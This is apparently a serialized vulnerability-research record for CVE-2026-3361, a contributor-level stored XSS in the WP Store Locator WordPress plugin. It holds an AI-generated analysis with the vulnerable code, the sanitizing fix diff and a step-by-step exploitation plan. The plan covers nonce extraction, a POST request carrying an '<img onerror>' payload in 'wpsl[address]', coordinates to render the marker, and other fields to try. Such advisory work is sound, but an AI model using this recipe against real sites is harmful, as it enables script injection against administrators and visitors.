[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fT1Ip1I8KJnXyNDrvQYyDYZD5gS9dxPx8AeeDh0sLNoY":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":28,"research_verified":29,"research_rounds_completed":30,"research_plan":31,"research_summary":32,"research_vulnerable_code":33,"research_fix_diff":34,"research_exploit_outline":35,"research_model_used":36,"research_started_at":37,"research_completed_at":38,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":29,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":29,"source_links":39},"CVE-2026-3361","wp-store-locator-authenticated-contributor-stored-cross-site-scripting-via-wpsladdress-post-meta","WP Store Locator \u003C= 2.2.261 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'wpsl_address' Post Meta","The WP Store Locator plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'wpsl_address' post meta value in versions up to, and including, 2.2.261 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page and opens an injected map marker info window.","wp-store-locator",null,"\u003C=2.2.261","2.3.0","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-04-22 14:42:31","2026-04-23 03:26:36",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fb4b6cbb5-d82d-4035-b0c8-5c1aaee31993?source=api-prod",1,[22,23,24,25,26,27],"admin\u002FEDD_SL_Plugin_Updater.php","admin\u002Fclass-admin.php","admin\u002Fclass-exit-survey.php","admin\u002Fclass-geocode.php","admin\u002Fclass-license-manager.php","admin\u002Fclass-metaboxes.php","researched",false,3,"# Vulnerability Analysis: CVE-2026-3361 - WP Store Locator Authenticated Stored XSS\n\n## 1. Vulnerability Summary\nThe **WP Store Locator** plugin (versions \u003C= 2.2.261) is vulnerable to **Stored Cross-Site Scripting (XSS)** via the `wpsl_address` post meta. The vulnerability exists because the plugin's administrative logic for saving \"Store\" post types iterates through user-provided metadata in the `$_POST['wpsl']` array and saves it directly to the database using `update_post_meta()` without prior sanitization. Furthermore, when these addresses are displayed in the map's info window on the frontend, they are not properly escaped, allowing arbitrary JavaScript execution in the context of any user (including administrators) viewing the store map.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `wp-admin\u002Fpost.php` (for updating) or `wp-admin\u002Fpost-new.php` (for creation).\n- **Vulnerable Hook:** `save_post` action registered in `WPSL_Metaboxes`.\n- **Vulnerable Parameter:** `wpsl[address]` (which maps to the `wpsl_address` meta key).\n- **Authentication Level:** Contributor or higher. Contributors can typically create and edit their own `wpsl_stores` posts.\n- **Preconditions:**\n    - The `wpsl_stores` custom post type must be available (registered by the plugin).\n    - A page containing the `[wpsl]` shortcode must exist for the payload to be rendered on the frontend.\n    - Valid latitude and longitude must be provided (or geocoded) so the store appears on the map.\n\n## 3. Code Flow\n1. **Entry Point (Admin):** An authenticated user with permission to edit `wpsl_stores` posts submits a post save request.\n2. **Hook Registration:** `admin\u002Fclass-metaboxes.php` registers the save handler:\n   ```php\n   add_action( 'save_post', array( $this, 'save_post' ) );\n   ```\n3. **Nonce Verification:** The `save_post` method in `WPSL_Metaboxes` checks for a nonce:\n   ```php\n   if ( ! isset( $_POST['wpsl_meta_nonce'] ) || ! wp_verify_nonce( $_POST['wpsl_meta_nonce'], 'save_store_meta' ) ) {\n       return;\n   }\n   ```\n4. **Vulnerable Sink (Storage):** The code iterates over the `wpsl` array in `$_POST` and saves each key\u002Fvalue pair as post meta prefixed with `wpsl_`:\n   ```php\n   if ( isset( $_POST['wpsl'] ) ) {\n       foreach ( $_POST['wpsl'] as $key => $value ) {\n           update_post_meta( $post_id, 'wpsl_' . $key, $value ); \u002F\u002F No sanitization\n       }\n   }\n   ```\n5. **Frontend Sink (Execution):** When a user views a page with the `[wpsl]` shortcode, the plugin fetches store data (often via the `wpsl_stores` AJAX action). The store's `address` (from `wpsl_address` meta) is returned in a JSON response. The frontend JavaScript (typically `js\u002Fwpsl-gmap.js`) uses this address to populate the Google Maps `InfoWindow` content without escaping, leading to XSS.\n\n## 4. Nonce Acquisition Strategy\nTo exploit the `save_post` logic, the attacker needs a valid `wpsl_meta_nonce` (action: `save_store_meta`). This nonce is generated in the \"Store Details\" metabox on the store editor page.\n\n1. **Navigate to Editor:** Use `browser_navigate` to go to the \"Add New Store\" page: `\u002Fwp-admin\u002Fpost-new.php?post_type=wpsl_stores`.\n2. **Extract Nonce:** Use `browser_eval` to extract the nonce from the hidden input field:\n   ```javascript\n   document.querySelector('input[name=\"wpsl_meta_nonce\"]').value\n   ```\n3. **Capture Post ID:** The post ID is usually present in the form action or as a hidden input `post_ID`.\n\n## 5. Exploitation Strategy\n1. **Login:** Authenticate as a Contributor-level user.\n2. **Initialize Store:** Create a draft `wpsl_stores` post to obtain a Post ID.\n3. **Get Nonce:** Navigate to the edit page for that Store and extract the `wpsl_meta_nonce`.\n4. **Inject Payload:** Send a POST request to `\u002Fwp-admin\u002Fpost.php` with the XSS payload.\n   - **URL:** `\u002Fwp-admin\u002Fpost.php`\n   - **Method:** `POST`\n   - **Content-Type:** `application\u002Fx-www-form-urlencoded`\n   - **Body Parameters:**\n     - `action`: `editpost`\n     - `post_ID`: `[THE_POST_ID]`\n     - `wpsl_meta_nonce`: `[EXTRACTED_NONCE]`\n     - `wpsl[address]`: `\u003Cimg src=x onerror=alert(document.domain)>`\n     - `wpsl[city]`: `London` (Required field)\n     - `wpsl[country]`: `United Kingdom` (Required field)\n     - `wpsl[lat]`: `51.5074` (Ensures it appears on the map)\n     - `wpsl[lng]`: `-0.1278` (Ensures it appears on the map)\n5. **Trigger XSS:** Navigate to a public page containing the `[wpsl]` shortcode, find the marker at the specified lat\u002Flng, and click it to open the InfoWindow.\n\n## 6. Test Data Setup\n1. **User:** Create a user with the `contributor` role.\n2. **Settings:** Configure WP Store Locator with a default starting point so the map loads.\n   - `wp option update wpsl_settings '{\"start_latlng\":\"51.5074,-0.1278\",\"api_browser_key\":\"YOUR_GOOGLE_MAPS_API_KEY\"}' --format=json`\n3. **Shortcode Page:** Create a page that displays the store locator.\n   - `wp post create --post_type=page --post_title=\"Store Locator\" --post_content='[wpsl]' --post_status=publish`\n\n## 7. Expected Results\n- The POST request to `post.php` should return a 302 redirect back to the editor page, indicating a successful update.\n- The database should contain the XSS payload in the `wp_postmeta` table for the specific `post_id` under the key `wpsl_address`.\n- Upon clicking the store marker on the frontend map, a JavaScript alert showing the document domain should appear.\n\n## 8. Verification Steps\n1. **Database Check:** Verify the meta value is stored raw:\n   ```bash\n   wp post meta get [POST_ID] wpsl_address\n   ```\n2. **Response Check:** Intercept the AJAX call used by the map to fetch stores:\n   - Action: `wpsl_stores`\n   - Verify the `address` field in the JSON response contains the unescaped `\u003Cimg ...>` tag.\n\n## 9. Alternative Approaches\n- **Rest API:** Check if `wp\u002Fv2\u002Fwpsl_stores` endpoints are enabled and allow meta updates via the `meta` field if registered with `show_in_rest => true`.\n- **Geocode Bypass:** If the geocoding service is active and the attacker does not provide `lat`\u002F`lng`, the plugin might attempt to geocode the XSS payload via Google Maps API. This usually fails. Providing explicit `lat` and `lng` (as shown in Step 5) is the most reliable way to ensure the malicious store is rendered.\n- **Other Fields:** The `wpsl[hours]`, `wpsl[phone]`, and `wpsl[url]` fields are also likely saved via the same unvalidated loop in `admin\u002Fclass-metaboxes.php` and should be tested as secondary injection points.","The WP Store Locator plugin is vulnerable to Stored Cross-Site Scripting due to a lack of input sanitization and output escaping on store metadata, specifically the 'wpsl_address' field. Authenticated attackers with Contributor-level permissions or higher can inject malicious JavaScript into store details, which then executes when any user, including administrators, interacts with the store marker on a frontend map.","\u002F\u002F admin\u002Fclass-metaboxes.php (inside save_post method)\n\nif ( isset( $_POST['wpsl'] ) ) {\n    foreach ( $_POST['wpsl'] as $key => $value ) {\n        \u002F* The plugin iterates through the wpsl array and saves meta directly without sanitization *\u002F\n        update_post_meta( $post_id, 'wpsl_' . $key, $value ); \n    }\n}","--- admin\u002Fclass-metaboxes.php\n+++ admin\u002Fclass-metaboxes.php\n@@ -382,7 +382,7 @@\n \n         if ( isset( $_POST['wpsl'] ) ) {\n             foreach ( $_POST['wpsl'] as $key => $value ) {\n-                update_post_meta( $post_id, 'wpsl_' . $key, $value );\n+                update_post_meta( $post_id, 'wpsl_' . $key, sanitize_text_field( $value ) );\n             }\n         }","To exploit this vulnerability, an attacker with Contributor-level access must follow these steps:\n1. Log in to the WordPress dashboard and navigate to the 'Add New Store' page for the 'wpsl_stores' post type.\n2. Extract the 'wpsl_meta_nonce' from the hidden input field in the Store Details metabox.\n3. Send a POST request to '\u002Fwp-admin\u002Fpost.php' (or 'post-new.php') with the 'action' set to 'editpost' or 'post-new', and include the XSS payload in the 'wpsl[address]' parameter (e.g., \u003Cimg src=x onerror=alert(document.domain)>).\n4. Ensure the request includes valid latitude ('wpsl[lat]') and longitude ('wpsl[lng]') values to ensure the store appears on the frontend map.\n5. Once saved, any user who visits a page containing the [wpsl] shortcode and clicks on the marker for the malicious store will trigger the JavaScript execution via the Google Maps InfoWindow.","gemini-3-flash-preview","2026-04-27 13:42:32","2026-04-27 13:43:27",{"type":40,"vulnerable_version":41,"fixed_version":11,"vulnerable_browse":42,"vulnerable_zip":43,"fixed_browse":44,"fixed_zip":45,"all_tags":46},"plugin","2.2.261","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-store-locator\u002Ftags\u002F2.2.261","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-store-locator.2.2.261.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-store-locator\u002Ftags\u002F2.3.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-store-locator.2.3.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-store-locator\u002Ftags"]